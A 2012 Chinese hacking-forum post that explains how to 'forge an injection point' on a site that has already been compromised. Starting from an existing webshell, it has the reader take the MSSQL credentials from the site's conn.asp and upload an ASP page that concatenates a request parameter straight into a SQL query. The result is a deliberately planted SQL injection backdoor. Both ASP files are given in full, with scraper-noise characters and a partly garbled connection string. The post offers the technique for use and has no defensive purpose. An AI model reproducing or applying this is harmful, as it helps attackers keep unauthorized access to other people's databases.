找回密码
 立即注册
查看: 2409|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:6 j0 @+ R+ j, P+ @
ASP/Visual Basic代码
; a$ a" O' x* Q) {0 T% x' h8 U6 \<!--#include file="xx.asp"-->      t$ Q2 }5 R* F0 K2 s9 I# r3 |
<%   
  e+ l$ n+ {0 n( O6 r1 uset rs=server.createobject("ADODB.recordset")   
! ?" Q; H7 Q7 G) f3 r* wid = request("id")   
0 Z1 B) a( _. n, ?strSQL = "select * from admin where id=" & id    , g& L1 l$ v9 ^8 f1 X* T+ d  b
rs.open strSQL,conn,1,3   
  n/ v1 {& Q; z6 H  m5 t( Brs.close   
! x! i+ C' ]+ n/ x: W%>  8 H" U* P! o- g; Q) l/ x8 b
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!" _# V& [0 d1 \9 {' X
然后就要构造一个连接数据库的文件了,代码如下:$ G$ d) C5 ]/ N9 v, J( {. u
ASP/Visual Basic代码0 U1 q; @% O9 j5 a1 E- l' O
<%            ! Y2 Y& G/ w+ _' r$ S
strSQLServerName = "000.000.000.000"     '服务器名称或地址   
. c, Z( W, t6 f' a) h% D* KstrSQLDBUserName = "sqlname"         '数据库帐号    3 C+ l+ w; W/ V4 M6 Y
strSQLDBPassword = "sqlpass"         '数据库密码   
- g" R6 e2 B- u7 P# FstrSQLDBName = "sqldataname"           '数据库名称    8 w) E1 Z1 ]: s9 J
Set conn = Server.CreateObject("ADODB.Connection")   
1 ~. L- C: t8 u; z. hstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   
' b! s+ f2 N2 {conn.open strCon    # K! d2 x. |! m) k
%>  # o* `& Z0 h" T) r2 [+ C  Y$ R
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功* [* f. ^# V9 V" w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表